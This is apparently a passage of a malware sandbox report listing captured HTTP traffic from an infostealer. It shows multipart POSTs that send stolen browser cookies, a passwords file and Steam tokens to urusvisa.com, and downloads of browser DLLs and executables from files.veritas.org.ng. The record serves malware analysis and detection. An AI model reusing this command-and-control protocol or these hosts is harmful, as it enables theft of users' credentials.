Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DBGIJEHIIDGCFHIEGDGCHost: urusvisa.comContent-Length: 829Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 47 49 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 36 61 62 32 30 39 32 30 66 32 31 37 30 63 33 32 38 34 39 32 35 38 32 30 30 61 37 30 66 31 30 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 49 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 31 34 64 37 37 38 34 39 61 30 31 66 66 38 61 62 37 64 64 39 39 64 35 66 30 61 32 65 31 39 65 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 49 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 51 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 49 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 64 61 74 61 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 6b 77 4f 44 41 79 43 55 35 4a 52 41 6b 31 4d 54 45 39 56 55 4a 6c 54 6b 4e 72 57 6a 4e 4d 4f 48 6c 59 59 33 67 34 63 57 67 30 53 6b 5a 56 57 47 74 33 61 30 35 44 4f 55 6c 79 5a 47 6c 53 5a 47 4a 71 55 31 52 71 63 56 4e 70 52 6d 67 34 56 33 4a 53 59 32 4a 4c 63 6c 39 79 54 30 70 69 5a 30 68 5a 4e 6c 52 42 4e 46 4a 55 4c 54 5a 77 63 7a 42 69 61 47 56 74 5a 6e 64 44 55 45 4a 7a 54 45 31 6e 55 46 51 33 4c 57 64 55 59 31 64 78 53 48 5a 61 64 6c 70 69 59 57 5a 50 63 47 74 78 55 6e 6b 77 5a 45 78 35 57 55 63 35 51 57 70 51 4d 6e 5a 69 56 55 4a 76 62 57 46 79 62 6d 4d 35 63 47 4e 61 56 6d 78 6f 53 47 74 56 5a 56 56 68 56 30 31 31 63 6b 51 77 52 30 64 59 65 56 63 77 4e 56 39 43 58 7a 46 4a 65 56 56 4f 57 55 56 46 54 47 31 35 63 56 4a 6e 43 69 35 6e 62 32 39 6e 62 47 55 75 59 32 39 74 43 56 52 53 56 55 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 6a 6b 35 4d 44 63 78 4e 6a 51 77 43 54 46 51 58 30 70 42 55 67 6b 79 4d 44 49 7a 4c 54 45 77 4c 54 41 31 4c 54 41 32 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 49 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 2d 2d 0d 0a Data Ascii: ------DBGIJEHIIDGCFHIEGDGCContent-Disposition: form-data; name="token"06ab20920f2170c32849258200a70f10------DBGIJEHIIDGCFHIEGDGCContent-Disposition: form-data; name="build_id"514d77849a01ff8ab7dd99d5f0a2e19e------DBGIJEHIIDGCFHIEGDGCContent-Disposition: form-data; name="file_name"Q29va2llc
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CBAKEBGIIDAFIDHIIECFHost: urusvisa.comContent-Length: 437Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 41 4b 45 42 47 49 49 44 41 46 49 44 48 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 36 61 62 32 30 39 32 30 66 32 31 37 30 63 33 32 38 34 39 32 35 38 32 30 30 61 37 30 66 31 30 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 45 42 47 49 49 44 41 46 49 44 48 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 31 34 64 37 37 38 34 39 61 30 31 66 66 38 61 62 37 64 64 39 39 64 35 66 30 61 32 65 31 39 65 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 45 42 47 49 49 44 41 46 49 44 48 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 47 46 7a 63 33 64 76 63 6d 52 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 45 42 47 49 49 44 41 46 49 44 48 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 64 61 74 61 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 45 42 47 49 49 44 41 46 49 44 48 49 49 45 43 46 2d 2d 0d 0a Data Ascii: ------CBAKEBGIIDAFIDHIIECFContent-Disposition: form-data; name="token"06ab20920f2170c32849258200a70f10------CBAKEBGIIDAFIDHIIECFContent-Disposition: form-data; name="build_id"514d77849a01ff8ab7dd99d5f0a2e19e------CBAKEBGIIDAFIDHIIECFContent-Disposition: form-data; name="file_name"cGFzc3dvcmRzLnR4dA==------CBAKEBGIIDAFIDHIIECFContent-Disposition: form-data; name="file_data"------CBAKEBGIIDAFIDHIIECF--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----BAKEBFBAKKFCBGDHDGHDHost: urusvisa.comContent-Length: 437Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 4b 45 42 46 42 41 4b 4b 46 43 42 47 44 48 44 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 36 61 62 32 30 39 32 30 66 32 31 37 30 63 33 32 38 34 39 32 35 38 32 30 30 61 37 30 66 31 30 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 45 42 46 42 41 4b 4b 46 43 42 47 44 48 44 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 31 34 64 37 37 38 34 39 61 30 31 66 66 38 61 62 37 64 64 39 39 64 35 66 30 61 32 65 31 39 65 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 45 42 46 42 41 4b 4b 46 43 42 47 44 48 44 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 47 46 7a 63 33 64 76 63 6d 52 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 45 42 46 42 41 4b 4b 46 43 42 47 44 48 44 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 64 61 74 61 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 45 42 46 42 41 4b 4b 46 43 42 47 44 48 44 47 48 44 2d 2d 0d 0a Data Ascii: ------BAKEBFBAKKFCBGDHDGHDContent-Disposition: form-data; name="token"06ab20920f2170c32849258200a70f10------BAKEBFBAKKFCBGDHDGHDContent-Disposition: form-data; name="build_id"514d77849a01ff8ab7dd99d5f0a2e19e------BAKEBFBAKKFCBGDHDGHDContent-Disposition: form-data; name="file_name"cGFzc3dvcmRzLnR4dA==------BAKEBFBAKKFCBGDHDGHDContent-Disposition: form-data; name="file_data"------BAKEBFBAKKFCBGDHDGHD--
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1Host: urusvisa.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1Host: urusvisa.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1Host: urusvisa.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1Host: urusvisa.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1Host: urusvisa.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1Host: urusvisa.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AEBGHDBKEBGIDHJJEHCAHost: urusvisa.comContent-Length: 1025Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----BGDAAEHDHIIJKECBKEBAHost: urusvisa.comContent-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 44 41 41 45 48 44 48 49 49 4a 4b 45 43 42 4b 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 36 61 62 32 30 39 32 30 66 32 31 37 30 63 33 32 38 34 39 32 35 38 32 30 30 61 37 30 66 31 30 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 41 45 48 44 48 49 49 4a 4b 45 43 42 4b 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 31 34 64 37 37 38 34 39 61 30 31 66 66 38 61 62 37 64 64 39 39 64 35 66 30 61 32 65 31 39 65 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 41 45 48 44 48 49 49 4a 4b 45 43 42 4b 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 33 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 41 45 48 44 48 49 49 4a 4b 45 43 42 4b 45 42 41 2d 2d 0d 0a Data Ascii: ------BGDAAEHDHIIJKECBKEBAContent-Disposition: form-data; name="token"06ab20920f2170c32849258200a70f10------BGDAAEHDHIIJKECBKEBAContent-Disposition: form-data; name="build_id"514d77849a01ff8ab7dd99d5f0a2e19e------BGDAAEHDHIIJKECBKEBAContent-Disposition: form-data; name="mode"3------BGDAAEHDHIIJKECBKEBA--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----GDGDHJJDGHCAAAKEHIJKHost: urusvisa.comContent-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 36 61 62 32 30 39 32 30 66 32 31 37 30 63 33 32 38 34 39 32 35 38 32 30 30 61 37 30 66 31 30 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 31 34 64 37 37 38 34 39 61 30 31 66 66 38 61 62 37 64 64 39 39 64 35 66 30 61 32 65 31 39 65 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 34 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 4b 2d 2d 0d 0a Data Ascii: ------GDGDHJJDGHCAAAKEHIJKContent-Disposition: form-data; name="token"06ab20920f2170c32849258200a70f10------GDGDHJJDGHCAAAKEHIJKContent-Disposition: form-data; name="build_id"514d77849a01ff8ab7dd99d5f0a2e19e------GDGDHJJDGHCAAAKEHIJKContent-Disposition: form-data; name="mode"4------GDGDHJJDGHCAAAKEHIJK--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AEBKFIJEGCAAFHJKFCFCHost: urusvisa.comContent-Length: 461Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 42 4b 46 49 4a 45 47 43 41 41 46 48 4a 4b 46 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 36 61 62 32 30 39 32 30 66 32 31 37 30 63 33 32 38 34 39 32 35 38 32 30 30 61 37 30 66 31 30 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 4b 46 49 4a 45 47 43 41 41 46 48 4a 4b 46 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 31 34 64 37 37 38 34 39 61 30 31 66 66 38 61 62 37 64 64 39 39 64 35 66 30 61 32 65 31 39 65 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 4b 46 49 4a 45 47 43 41 41 46 48 4a 4b 46 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 55 32 39 6d 64 46 78 54 64 47 56 68 62 56 78 7a 64 47 56 68 62 56 39 30 62 32 74 6c 62 6e 4d 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 4b 46 49 4a 45 47 43 41 41 46 48 4a 4b 46 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 64 61 74 61 22 0d 0a 0d 0a 4f 68 4a 66 2f 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 4b 46 49 4a 45 47 43 41 41 46 48 4a 4b 46 43 46 43 2d 2d 0d 0a Data Ascii: ------AEBKFIJEGCAAFHJKFCFCContent-Disposition: form-data; name="token"06ab20920f2170c32849258200a70f10------AEBKFIJEGCAAFHJKFCFCContent-Disposition: form-data; name="build_id"514d77849a01ff8ab7dd99d5f0a2e19e------AEBKFIJEGCAAFHJKFCFCContent-Disposition: form-data; name="file_name"U29mdFxTdGVhbVxzdGVhbV90b2tlbnMudHh0------AEBKFIJEGCAAFHJKFCFCContent-Disposition: form-data; name="file_data"OhJf/g==------AEBKFIJEGCAAFHJKFCFC--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AAAKEBGDAFHIIDHIIECFHost: urusvisa.comContent-Length: 130481Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KFIDAFBFBKFHJJKEHIEGHost: urusvisa.comContent-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 44 41 46 42 46 42 4b 46 48 4a 4a 4b 45 48 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 36 61 62 32 30 39 32 30 66 32 31 37 30 63 33 32 38 34 39 32 35 38 32 30 30 61 37 30 66 31 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 44 41 46 42 46 42 4b 46 48 4a 4a 4b 45 48 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 31 34 64 37 37 38 34 39 61 30 31 66 66 38 61 62 37 64 64 39 39 64 35 66 30 61 32 65 31 39 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 44 41 46 42 46 42 4b 46 48 4a 4a 4b 45 48 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 35 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 44 41 46 42 46 42 4b 46 48 4a 4a 4b 45 48 49 45 47 2d 2d 0d 0a Data Ascii: ------KFIDAFBFBKFHJJKEHIEGContent-Disposition: form-data; name="token"06ab20920f2170c32849258200a70f10------KFIDAFBFBKFHJJKEHIEGContent-Disposition: form-data; name="build_id"514d77849a01ff8ab7dd99d5f0a2e19e------KFIDAFBFBKFHJJKEHIEGContent-Disposition: form-data; name="mode"5------KFIDAFBFBKFHJJKEHIEG--
Source: global traffic	HTTP traffic detected: GET /ldms/66fa2b049020f_ldnf.exe HTTP/1.1Host: files.veritas.org.ngCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIIIEGHDGDBFIDGHDAFHost: urusvisa.comContent-Length: 499Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 49 49 49 45 47 48 44 47 44 42 46 49 44 47 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 36 61 62 32 30 39 32 30 66 32 31 37 30 63 33 32 38 34 39 32 35 38 32 30 30 61 37 30 66 31 30 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 49 45 47 48 44 47 44 42 46 49 44 47 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 31 34 64 37 37 38 34 39 61 30 31 66 66 38 61 62 37 64 64 39 39 64 35 66 30 61 32 65 31 39 65 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 49 45 47 48 44 47 44 42 46 49 44 47 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 35 31 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 49 45 47 48 44 47 44 42 46 49 44 47 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 61 73 6b 5f 69 64 22 0d 0a 0d 0a 31 32 35 33 34 30 32 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 49 45 47 48 44 47 44 42 46 49 44 47 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 73 74 61 74 75 73 22 0d 0a 0d 0a 31 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 49 45 47 48 44 47 44 42 46 49 44 47 48 44 41 46 2d 2d 0d 0a Data Ascii: ------HIIIIEGHDGDBFIDGHDAFContent-Disposition: form-data; name="token"06ab20920f2170c32849258200a70f10------HIIIIEGHDGDBFIDGHDAFContent-Disposition: form-data; name="build_id"514d77849a01ff8ab7dd99d5f0a2e19e------HIIIIEGHDGDBFIDGHDAFContent-Disposition: form-data; name="mode"51------HIIIIEGHDGDBFIDGHDAFContent-Disposition: form-data; name="task_id"1253402------HIIIIEGHDGDBFIDGHDAFContent-Disposition: form-data; name="status"1------HIIIIEGHDGDBFIDGHDAF--
Source: global traffic	HTTP traffic detected: GET /ldms/66fa2afc5abea_vasd.exe HTTP/1.1Host: files.veritas.org.ngCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KJKKKJJJKJKFHJJJJECBHost: urusvisa.comContent-Length: 499Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 36 61 62 32 30 39 32 30 66 32 31 37 30 63 33 32 38 34 39 32 35 38 32 30 30 61 37 30 66 31 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 31 34 64 37 37 38 34 39 61 30 31 66 66 38 61 62 37 64 64 39 39 64 35 66 30 61 32 65 31 39 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 35 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 61 73 6b 5f 69 64 22 0d 0a 0d 0a 31 32 35 33 34 30 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 73 74 61 74 75 73 22 0d 0a 0d 0a 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 2d 2d 0d 0a Data Ascii: ------KJKKKJJJKJKFHJJJJECBContent-Disposition: form-data; name="token"06ab20920f2170c32849258200a70f10------KJKKKJJJKJKFHJJJJECBContent-Disposition: form-data; name="build_id"514d77849a01ff8ab7dd99d5f0a2e19e------KJKKKJJJKJKFHJJJJECBContent-Disposition: form-data; name="mode"51------KJKKKJJJKJKFHJJJJECBContent-Disposition: form-data; name="task_id"1253403------KJKKKJJJKJKFHJJJJECBContent-Disposition: form-data; name="status"1------KJKKKJJJKJKFHJJJJECB--
Source: global traffic	HTTP traffic detected: GET /ldms/66fa2ae906657_snd.exe HTTP/1.1Host: files.veritas.org.ngCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HDBGHDHCGHCAAKEBKECBHost: urusvisa.comContent-Length: 499Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 42 47 48 44 48 43 47 48 43 41 41 4b 45 42 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 36 61 62 32 30 39 32 30 66 32 31 37 30 63 33 32 38 34 39 32 35 38 32 30 30 61 37 30 66 31 30 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 48 44 48 43 47 48 43 41 41 4b 45 42 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 31 34 64 37 37 38 34 39 61 30 31 66 66 38 61 62 37 64 64 39 39 64 35 66 30 61 32 65 31 39 65 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 48 44 48 43 47 48 43 41 41 4b 45 42 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 35 31 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 48 44 48 43 47 48 43 41 41 4b 45 42 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 61 73 6b 5f 69 64 22 0d 0a 0d 0a 31 32 35 33 34 30 34 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 48 44 48 43 47 48 43 41 41 4b 45 42 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 73 74 61 74 75 73 22 0d 0a 0d 0a 31 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 48 44 48 43 47 48 43 41 41 4b 45 42 4b 45 43 42 2d 2d 0d 0a Data Ascii: 